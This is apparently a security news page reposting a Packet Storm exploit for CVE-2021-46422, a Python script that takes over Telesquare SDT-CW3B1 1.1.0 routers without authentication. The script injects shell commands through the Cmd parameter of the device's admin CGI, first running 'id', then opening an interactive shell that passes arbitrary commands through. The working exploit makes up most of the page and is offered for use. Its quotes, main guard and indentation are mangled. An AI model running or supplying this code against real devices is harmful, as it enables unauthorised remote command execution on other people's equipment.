Security
Headlines
HeadlinesLatestCVEs

Headline

Telesquare SDT-CW3B1 1.1.0 Command Injection

Telesquare SDT-CW3B1 version 1.1.0 suffers from a command injection vulnerability.

Packet Storm
#vulnerability#auth

#!/usr/bin/python3

Exploit Title: Telesquare SDT-CW3B1 1.1.0 - OS Command Injection

Date: 24th May 2022

Exploit Author: Bryan Leong <NobodyAtall>

Vendor Homepage: http://telesquare.co.kr/

CVE : CVE-2021-46422

Authentication Required: No

import requests
import argparse
import sys
from xml.etree import ElementTree

def sysArgument():
ap = argparse.ArgumentParser()
ap.add_argument(“–host", required=True, help="target hostname/IP”)
args = vars(ap.parse_args())
return args[‘host’]

def checkHost(host):
url = “http://” + host

print("[*] Checking host is it alive?")

try:
rsl = requests.get(url)
print("[*] The host is alive.")
except requests.exceptions.Timeout as err:
raise SystemExit(err)

def exploit(host):
url = “http://” + host + “/cgi-bin/admin.cgi?Command=sysCommand&Cmd=”

#checking does the CGI exists?
rsl = requests.get(url)

if(rsl.status_code == 200):
print("[] CGI script exist!")
print("[
] Injecting some shell command.")

#1st test injecting id command  
cmd = "id"

try:  
  rsl = requests.get(url + cmd, stream=True)  
  xmlparser = ElementTree.iterparse(rsl.raw)

  cmdRet = []

  for event, elem in xmlparser:  
    if(elem.tag == 'CmdResult'):  
      cmdRet.append(elem.text)  
except:  
  print("[!] No XML returned from CGI script. Possible not vulnerable to the exploit")  
  sys.exit(0)

if(len(cmdRet) != 0):  
  print("[*] There's response from the CGI script!")  
  print('[*] System ID: ' + cmdRet[0].strip())

        print("[*] Spawning shell. type .exit to exit the shell", end="\n\n")  
  #start shell iteration  
  while(True):  
    cmdInput = input("[SDT-CW3B1 Shell]# ")

    if(cmdInput == ".exit"):  
      print("[*] Exiting shell.")  
      sys.exit(0)

    rsl = requests.get(url + cmdInput, stream=True)  
    xmlparser = ElementTree.iterparse(rsl.raw)

    for event, elem in xmlparser:  
      if(elem.tag == 'CmdResult'):  
        print(elem.text.strip())

    print('\n')

        else:  
  print("[!] Something doesn't looks right. Please check the request packet using burpsuite/wireshark/etc.")  
  sys.exit(0)

else:
print("[!] CGI script not found.")
print(rsl.status_code)
sys.exit(0)

def main():
host = sysArgument()

checkHost(host)
exploit(host)

if name == "main":
main()

Related news

SDT-CW3B1 1.1.0 Command Injection

SDT-CW3B1 version 1.1.0 suffers from a command injection vulnerability.

CVE-2021-46422: SDT-CW3B1 – Google Disk

Telesquare SDT-CW3B1 1.1.0 is affected by an OS command injection vulnerability that allows a remote attacker to execute OS commands without any authentication.

Packet Storm: Latest News

CUPS IPP Attributes LAN Remote Code Execution